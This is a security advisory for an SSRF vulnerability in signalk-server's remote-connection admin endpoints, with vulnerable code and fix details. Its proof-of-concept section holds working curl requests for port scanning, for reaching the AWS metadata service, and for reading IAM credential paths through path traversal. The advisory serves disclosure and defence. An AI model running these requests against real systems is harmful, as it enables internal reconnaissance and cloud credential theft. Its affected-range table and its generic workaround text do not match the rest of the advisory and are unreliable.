CVE-2026-55591 is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in signalk-server. A fix is available for signalk-server — see the affected versions and patch details below.
Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55591.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-55591 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 398,142 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
signalk-servernpmDescription
Summary
signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.
When security is not configured (the default state), these endpoints require no authentication.
Details
Vulnerable Function
The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:
function makeRemoteRequest(
host: string,
port: number,
useTLS: boolean,
selfsignedcert: boolean,
path: string,
method?: string,
headers?: Record<string, string>,
body?: unknown
): Promise<{ status: number | undefined; data: string }> {
const protocol = useTLS ? https : http
return new Promise((resolve, reject) => {
const options = {
hostname: host, // NO VALIDATION - attacker controlled
port, // NO VALIDATION - attacker controlled
path,
method: method || 'GET',
headers: {
...(headers || {}),
...(body ? { 'Content-Type': 'application/json' } : {})
},
rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification
}
const req = protocol.request(options, (response) => {
let data = ''
response.on('data', (chunk: string) => {
data += chunk
})
response.on('end', () => {
resolve({ status: response.statusCode, data })
})
})
req.on('error', reject)
req.setTimeout(10000, () => {
req.destroy(new Error('Connection timed out'))
})
if (body) {
req.write(JSON.stringify(body))
}
req.end()
})
}
Missing Validation
The function performs zero validation on the destination host. The following address ranges are all reachable:
- Loopback:
127.0.0.1,::1,localhost - RFC 1918 private ranges:
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - Link-local / Cloud metadata:
169.254.169.254(AWS EC2 instance metadata, GCP, Azure IMDS) - IPv6 link-local:
fe80::/10 - Any arbitrary external host: enabling the server as an open proxy
Authentication Bypass via Default Configuration
The endpoints are protected by addAdminMiddleware() (lines 2339-2345):
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)
However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:
addAdminMiddleware: () => {},
This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.
Additional Attack Surface: TLS Verification Bypass
The selfsignedcert parameter directly controls rejectUnauthorized:
rejectUnauthorized: !selfsignedcert
When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.
Additional Attack Surface: Path Traversal in checkAccessRequest
The checkAccessRequest endpoint interpolates requestId directly into the URL path:
`/signalk/v1/requests/${requestId}`
An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.
PoC
Target Setup
Set up a bare-metal signalk-server for testing (or use Docker to simulate):
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
bash -c 'npm install -g [email protected] && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done
Set the target variable:
TARGET=http://127.0.0.1:3000
Confirm "authenticationRequired":false in the loginStatus response before proceeding.
PoC 1: Loopback Connection (Self-Discovery)
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
Response (confirms SSRF, the server connected to itself):
{
"success": true,
"authenticated": false,
"server": {
"id": "signalk-server-node",
"version": "2.27.0"
}
}
PoC 2: Port Scanning via Error Differentiation
# Open port (3000) — returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}
# Closed port (9999) — immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}
# Filtered port — 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}
The three distinct error responses allow an attacker to map internal network topology.
PoC 3: AWS Instance Metadata Service (IMDSv1)
On a cloud-hosted signalk-server (AWS EC2):
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'
The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use checkAccessRequest with path traversal in requestId:
curl -s -X POST $TARGET/skServer/checkAccessRequest \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'
Impact
-
Internal Network Scanning: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).
-
Cloud Metadata Exfiltration: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at
169.254.169.254to steal IAM credentials, instance identity tokens, and other sensitive metadata. -
Internal Service Data Exfiltration: The
testSignalKConnectionendpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet. -
Server-Side POST Requests: The
requestAccessendpoint sends a POST request with attacker-controlled JSON body (clientId,description), enabling interaction with internal APIs that accept POST requests. -
Lateral Movement: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.28.0npm install signalk-server@2.28.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update signalk-server to 2.28.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55591 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-55591 in your dependencies?
Find it across npm, including transitive dependencies.